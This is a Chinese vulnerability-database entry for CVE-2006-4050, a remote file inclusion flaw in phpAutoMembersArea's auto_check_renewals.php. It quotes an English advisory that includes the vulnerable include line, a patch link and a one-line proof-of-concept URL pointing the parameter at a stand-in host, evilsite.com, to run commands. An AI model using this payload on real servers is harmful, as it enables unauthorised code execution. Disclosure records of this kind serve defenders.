PHPAutoMembersArea 'Auto_Check_Renewals.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110762 漏洞类型 输入验证
发布时间 2006-08-07 更新时间 2006-08-14
CVE编号 CVE-2006-4050 CNNVD-ID CNNVD-200608-174
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2132
https://cxsecurity.com/issue/WLB-2006080061
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200608-174
|漏洞详情
phpAutoMembersArea(phpAMA)3.2.4及早期版本的auto_check_renewals.php脚本存在PHP远程文件包含漏洞,远程攻击者可借助installed_config_file参数中的URL执行任意PHP代码。
|漏洞EXP
+--------------------------------------------------------------------
+
+ phpAutoMembersArea 3.2.5 ($installed_config_file) Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: phpAutoMembersArea 3.2.5
+ Venedor ...........: http://www.dwalker.co.uk
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_83.htm
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code auto_check_renewals.php (line 20):
+
+ .....
+ include($installed_config_file);:
+
+ .....
+
+--------------------------------------------------------------------
+
+ $installed_config_file is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Download the upgrade now:
+ http://www.dwalker.co.uk/phpautomembersarea/
+ See: http://dwalker.co.uk/forum/viewtopic.php?t=517
+
+--------------------------------------------------------------------
+
+ PoC:
+ http://[target]/auto_check_renewals.php?installed_config_file=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+
+ Comment:
+ Thanks for the friendly and quick contact with the developer
+ David Walker.
+ Reported the vuln today at 10:04am -> patch available 4:47pm
+ -> ideal!!!!
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-07]
|参考资料

来源:BID
名称:19354
链接:http://www.securityfocus.com/bid/19354
来源:BUGTRAQ
名称:20060804phpAutoMembersArea3.2.5($installed_config_file)RemoteFileInclusion
链接:http://www.securityfocus.com/archive/1/archive/1/442242/100/0/threaded
来源:dwalker.co.uk
链接:http://dwalker.co.uk/forum/viewtopic.php?t=517
来源:XF
名称:phpama-autocheckrenewals-file-include(28233)
链接:http://xforce.iss.net/xforce/xfdb/28233
来源:VUPEN
名称:ADV-2006-3170
链接:http://www.frsirt.com/english/advisories/2006/3170
来源:SREASON
名称:1352
链接:http://securityreason.com/securityalert/1352
来源:SECUNIA
名称:21373
链接:http://secunia.com/advisories/21373